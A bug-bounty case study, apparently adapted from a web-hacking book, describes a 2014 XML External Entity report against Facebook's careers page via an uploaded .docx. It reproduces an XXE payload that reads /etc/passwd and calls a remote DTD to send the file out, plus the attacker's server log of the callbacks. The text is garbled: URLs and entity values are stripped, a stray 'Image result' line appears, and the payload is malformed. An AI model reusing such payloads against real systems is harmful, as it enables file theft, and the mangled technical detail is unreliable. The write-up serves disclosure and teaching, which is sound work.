According to OWASP "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server-side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."

Image result for xxe vulnerability
Difficulty: Hard       Url:         Report: Attack Secure         Bounty Paid: $6,300

Case Study: 
This XXE is a little different and more challenging than the first example as it involves remotely calling a server as we discussed in the description.

In late 2013, Facebook patched an XXE vulnerability by Reginaldo Silva, which could have potentially been escalated to a Remote Code Execution [ RCE ] Vulnerability since the contents of the etc/passwd file were accessible. The paid approx $30K.

As a result, when Mohamed challenged himself to hack Facebook in April 2014, he didn’t think XXE was a possibility until he found their careers page which allowed users to upload .docx files which can be include XML. For those unaware, the .docx file type is just an archive for XML files. So, according to Mohamed, he created a .docx file and opened it with 7zip to extract the contents and inserted the following payload into one of the XML files:

   <!DOCTYPE root [
   <!ENTITY % file SYSTEM file:///etc/passwd>
   <!ENTITY % dtd SYSTEM>

As we all recognize, if the victim has external entities enabled, the XML parser will evaluate the &dtd; entity which makes a remote call to That call would return:

   <!ENTITY send SYSTEM ‘;’>    

So, now %dtd; would reference the external ext.dtd file and make the %send; entity available. Next, the parser would %send; which would actually make a remote call to;. The %file; reference is actually a reference to the /etc/passwd file in an attempt to append its content to the; call. 

As a result of this, Mohamed started a local server to receive the call and content using Python and SimpleHTTPServer. At first, he didn’t receive a response, but he waited then he received this:

   Last login: Tue Jul 8 09:11:09 on console 
   Root:~ mohaab007: sudo python –m SIMPLEHTTPServer 80 
   Serving HTTP on port 80… – [08/jul/2014 09:21:10] “GET /ext.dtd HTTP/1.0” 200 -- – [08/jul/2014 09:21:10] “GET /ext.dtd HTTP/1.0” 200 -- – [08/jul/2014 09:21:10] code 404, message File not Found – [08/jul/2014 09:21:10] “GET /FACEBOOK-HACKED? HTTP/1.0” 404    

This starts with the command to run SimpleHTTPServer. The terminal sits at the serving message until there is an HTTP request to the server. This happens when it receives a GET request for /ext.dtd.Subsequently, as expected, we then see the call back to the server /FACEBOOK-HAKCED? But unfortunately, without the contents of the /etc/passwd file appended. This means that Mohamed couldn’t read local files, or /etc/passwd didn’t exist.

Before we proceed, I should flag – Mohamed could have submitted a file which did not include
      <!ENTITY %dtd SYSTEM>      
instead just including an attempt to read the local file. However, the value following his steps is that the initial call for the remote DTD file, if successful, will demonstrate an XXE Vulnerability. The attempt to extract the /etc/passwd file is just one way to abuse the XXE. So, in this case, since he recorded the HTTP calls to his server from Facebook, he could prove they were parsing remote XML entities and a vulnerability existed. 

However, when Mohamed reported the bug, Facebook replied asking for a proof of concept video because they could not replicate the issue. After doing so, Facebook the replied rejecting the submission suggesting that a recruiter had clicked on a link, which initiated the request to his server. After exchanging some emails, the Facebook team appears to have done some more digging to confirm the vulnerability existed and awarded a bounty, sending an email explaining that the impact of this XXE was less severe than the initial one in 2013 because the 2013 exploit could have been escalated to a Remote Code Execution whereas Mohamed’s could not though it still constituted a valid exploit.